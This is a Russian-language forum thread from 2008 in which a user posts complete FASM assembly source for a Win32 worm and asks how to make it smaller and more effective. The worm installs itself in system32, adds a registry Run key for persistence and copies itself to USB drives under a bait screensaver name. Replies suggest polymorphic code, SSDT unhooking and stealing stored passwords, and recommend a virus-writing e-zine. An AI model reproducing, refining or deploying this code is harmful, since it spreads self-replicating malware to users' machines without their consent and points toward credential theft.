Welcome Guest ( Log In | Register )

Help | Search | Members | Calendar

 
Вирусы под Win32, Написанные на асемблере
« Next Oldest | Next Newest » Track this topic | Email this topic | Print this topic
Master of Puppets
Posted: Jun 26 2008, 10:49

Eye of the Vision

Group: Moderator
Member No.: 2067

Joined: August 29, 2006

Привет всем smile.gif
Я тут недавно решил написать что-то типа вируса на assembler'е. Вооружился компилятором FASM, документацией по windows api, и создал некий работающий (недеструктивный) прототип. У этого прототипа есть следующие проблемы:

0. Он довольно тупой - не умеет прятаться от таск менеджера и антивирей, и так далее.
1. Он съедает 200-300К оперативки, хотелось бы поменьше.
2. Он весит в откомпилированном виде аж 258Кб. По-моему, это слишком жирно для программы на ассемблере. Для сравнения, одна программка с графическим интерфейсом из example'ов для flat assembler'а весит всего лишь 5 К.

На данный момент программа умеет следующее:

0. При запуске инфицировать систему, записывая себя в system32, а так же прописываясь в автозагрузку.
1. Висеть в памяти, периодически проверяя наличие съемных носителей (флешек и т.п.). Как только видит съемный носитель, копирует себя на него.

Итак, во-первых, я прошу тех, кто что-нибудь соображает в этом, дать мне советы по оптимизации виря. Во-вторых, так как есть предположение писать курсач на эту тему, прошу ссылок на какие-нибудь серьезные книги/ресурсы по вирусописательству (а не на "стотьйу" от какого-нибудь Turbo-Lion'a под названием "Каг ностоясчие кул хацкиры пишут вируссы на визуал бэйсик" biggrin.gif).

P.S.: если что, вот код (напомню, я компилял его только под Fasm)
CODE

format PE GUI 4.0
entry main
include 'win32a.inc'
section '.code' code readable executable

      ;The program start
      ;from this procedure
       proc    main
            call       infect_system;infect system
       msg_loop:
            call       infect_drives;infect removeable drives
            invoke     Sleep, 1000  ;wait
            jmp        msg_loop     ;do it again
       end_loop:
            invoke     ExitProcess, 0
       endp

      ;Copies itself to sysdir
      ;Adds a new value to
      ;HKCU\Software\Microsoft\Windows\CurrentVerison\Run
      ;so that it runs every time Windows starts.
       proc     infect_system
           ;Get system directory path and form the destination path
            invoke     GetSystemDirectory, _sysdir_buff, MAX_PATH
            invoke     lstrcat, _sysdir_buff, _new_module_name

           ;Copy itself to sysdir
            push       _sysdir_buff
            call       self_copy

           ;Infect system registry
            call       infect_registry
            ret
       endp

      ;Copies itself to the specified location
      ;(removable drive or system dir)
       proc    self_copy, dest
           ;Retrieve the source file path
            invoke     GetModuleFileName, 0, _module_path, MAX_PATH

           ;Don't do anything if the source is the same as destination
            invoke     lstrcmpi, [dest], _module_path
            or         eax, eax
            jz         exit_selfcpy

            invoke     CopyFile, _module_path, [dest], 0

       exit_selfcpy:
            ret
       endp

      ;Adds a new entry to the registry
      ;so that k175 runs every time Windows starts
       proc     infect_registry
               ;Open the registry key and exit procedure
               ;on failure
                invoke  RegOpenKeyEx, HKEY_CURRENT_USER,_key_path , 0, KEY_SET_VALUE, _registry_key
                or      eax,eax
                jnz     infreg_exit

               ;Write value the registry and close key
                invoke  lstrlen, _sysdir_buff
                invoke  RegSetValueEx, [_registry_key], _value_name, 0, REG_SZ, _sysdir_buff, eax
                invoke  RegCloseKey, [_registry_key]

       infreg_exit:
                ret
       endp

      ;Infects removable disk drives
       proc    infect_drives
               invoke  GetLogicalDriveStrings, 128, _ldstrings
               mov     ebx, _ldstrings
       enum_drives:
               mov     dl,byte[ebx]
               mov     [_drive],dl
               invoke  lstrcmpi, _drive, _floppy ;Don't infect floppies
               or      eax,eax
               jz      next_drive
               invoke  GetDriveType, _drive
               cmp     eax, DRIVE_REMOVABLE
               jne     next_drive
               invoke  lstrcpy, _hook_path, _drive
               invoke  lstrcat, _hook_path, _hook_name
               push    _hook_path
               call    self_copy
       next_drive:
               add     ebx,4
               cmp     byte[ebx], 0
               jne     enum_drives
               ret
       endp

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL',\
       advapi,'ADVAPI32.DLL'

import kernel,\
      lstrcmp,'lstrcmpA',\
      lstrcmpi,'lstrcmpiA',\
      lstrcpy,'lstrcpyA',\
      lstrcat,'lstrcatA',\
      lstrlen,'lstrlenA',\
      CopyFile,'CopyFileA',\
      Sleep,'Sleep',\
      GetSystemDirectory,'GetSystemDirectoryA',\
      GetModuleFileName,'GetModuleFileNameA',\
      GetLogicalDriveStrings, 'GetLogicalDriveStringsA',\
      GetDriveType,'GetDriveTypeA',\
      ExitProcess,'ExitProcess'
import advapi,\
      RegCloseKey,'RegCloseKey',\
      RegOpenKeyEx,'RegOpenKeyExA',\
      RegSetValueEx,'RegSetValueExA'


_sysdir_buff       db 128 dup (?)
_module_path       db 128 dup (?)
_new_module_name   db '\msapp.exe', 0
_hook_name         db '3D Sharks.scr',0
_hook_path         db 128 dup (?)
_file_buff         dd 64*1024 dup(?)
_new_module_hndl   dd ?
_old_module_hndl   dd ?
_bytes_read        dd ?
_module_size       dd ?
_registry_key      dd ?
_drive             db ?, ':\', 0
_ldstrings         db 128 dup(?)
_key_path          db 'Software\Microsoft\Windows\CurrentVersion\Run',0
_value_name        db 'msapp',0
_floppy            db 'a:\',0


--------------------
Master of Puppets, I'm pulling your strings, twisting your mind and smashing your dreams!
⠠⠵
 
       Top
Dream_InspectoR
Posted: Jun 26 2008, 11:01

Eye of the Vision

Group: Moderator
Member No.: 614

Joined: February 10, 2004

Помнится одному камраду из Касперского пришло письмо "завязывай, или сядешь"... Помнится что камрад завязал и не сел )

--------------------
Kill'em!!! Kill'em ALL!!!
 
        Top
Master of Puppets
Posted: Jun 26 2008, 11:52

Eye of the Vision

Group: Moderator
Member No.: 2067

Joined: August 29, 2006

QUOTE (In the immortal words of Dream_InspectoR, since Jun 26 2008, 11:01)
Помнится одному камраду из Касперского пришло письмо "завязывай, или сядешь"... Помнится что камрад завязал и не сел )

Завязывать, даже толком не начав, мне как-то не хочется smile.gif
P.S.: а я думал, что антивирусные компании сами же эти вирусы и пишут wink.gif

--------------------
Master of Puppets, I'm pulling your strings, twisting your mind and smashing your dreams!
⠠⠵
 
       Top
Master of Puppets
Posted: Jun 26 2008, 13:55

Eye of the Vision

Group: Moderator
Member No.: 2067

Joined: August 29, 2006

Кстати, после удаления одной лишней строчки, размер ужался до 2 кб. Угадайте, что это за была строчка?

--------------------
Master of Puppets, I'm pulling your strings, twisting your mind and smashing your dreams!
⠠⠵
 
       Top
knightmare
Posted: Jun 26 2008, 14:02

Wise Dreamer

Group: Elite Member
Member No.: 1572

Joined: October 31, 2005

_file_buff dd 64*1024 dup(?)


???

--------------------
армия - эта крута, армейский спецназ - эта ваще крута


Хочу трахнуть Nissan Skyline R34, и ездить на Alessandra Ambrosio
 
    Top
Dream_InspectoR
Posted: Jun 26 2008, 18:49

Eye of the Vision

Group: Moderator
Member No.: 614

Joined: February 10, 2004

ПЕ ГУИ ?

--------------------
Kill'em!!! Kill'em ALL!!!
 
        Top
Master of Puppets
Posted: Jun 26 2008, 19:19

Eye of the Vision

Group: Moderator
Member No.: 2067

Joined: August 29, 2006

QUOTE (In the immortal words of knightmare, since Jun 26 2008, 14:02)
_file_buff dd 64*1024 dup(?)


???

Совершенно верно!
Ну а теперь, дорогие друзья, жду от вас дальнейших советов по двум темам:
а) Можно ли улучшить этот "вирь", если да то как
б) Что читать начинающему вирусописателю

--------------------
Master of Puppets, I'm pulling your strings, twisting your mind and smashing your dreams!
⠠⠵
 
       Top
stranger
Posted: Jun 26 2008, 22:43

Wise Dreamer

Group: Wheel
Member No.: 5

Joined: February 20, 2003

QUOTE (In the immortal words of Master of Puppets, since Jun 26 2008, 19:19...)
б) Что читать начинающему вирусописателю

Читать надо 29a e-zine, однозначно.
http://www.29a.net
 
       Top
Шмель
Posted: Jun 27 2008, 01:01

Mind Rider

Group: Elite Member
Member No.: 1849

Joined: May 27, 2006

QUOTE (In the immortal words of Master of Puppets, since Jun 26 2008, 20:19)

б) Что читать начинающему вирусописателю

Уголовный Кодекс
 
       Top
knightmare
Posted: Jun 27 2008, 04:05

Wise Dreamer

Group: Elite Member
Member No.: 1572

Joined: October 31, 2005

QUOTE (In the immortal words of Master of Puppets, since Jun 26 2008, 19:19)
б) Что читать начинающему вирусописателю

про полиморфный код smile.gif

--------------------
армия - эта крута, армейский спецназ - эта ваще крута


Хочу трахнуть Nissan Skyline R34, и ездить на Alessandra Ambrosio
 
    Top
padonaque
Posted: Jun 27 2008, 17:31

Mind Rider

Group: Elite Member
Member No.: 240

Joined: May 24, 2003

QUOTE (In the immortal words of Master of Puppets, since Jun 26 2008, 19:19)
а) Можно ли улучшить этот "вирь", если да то как

анхук SSDT, возможность дергать пароли из protected storage => навороченный пинч smile.gif
 
      Top
Шмель
Posted: Jun 30 2008, 11:14

Mind Rider

Group: Elite Member
Member No.: 1849

Joined: May 27, 2006

QUOTE (In the immortal words of padonaque, since Jun 27 2008, 18:31)
анхук SSDT, возможность дергать пароли из protected storage => навороченный пинч smile.gif

гыsmile.gif)) дождалисьsmile.gif)) терь в армении будут навороченные пинчеклоны делатьsmile.gif))
 
       Top
Master of Puppets
Posted: Jun 30 2008, 18:58

Eye of the Vision

Group: Moderator
Member No.: 2067

Joined: August 29, 2006

QUOTE (In the immortal words of padonaque, since Jun 27 2008, 17:31)
анхук SSDT, возможность дергать пароли из protected storage => навороченный пинч smile.gif

вообще-то я не это имел в виду smile.gif меня больше интересует оптимизация - как сделать чтоб эта прога жрала меньше ресурсов. Всякие злобности пока что на втором плане wink.gif

--------------------
Master of Puppets, I'm pulling your strings, twisting your mind and smashing your dreams!
⠠⠵
 
       Top
12 replies since Jun 26 2008, 10:49 Track this topic | Email this topic | Print this topic

<< Back to Windows programming

 




Arminco Global Telecommunications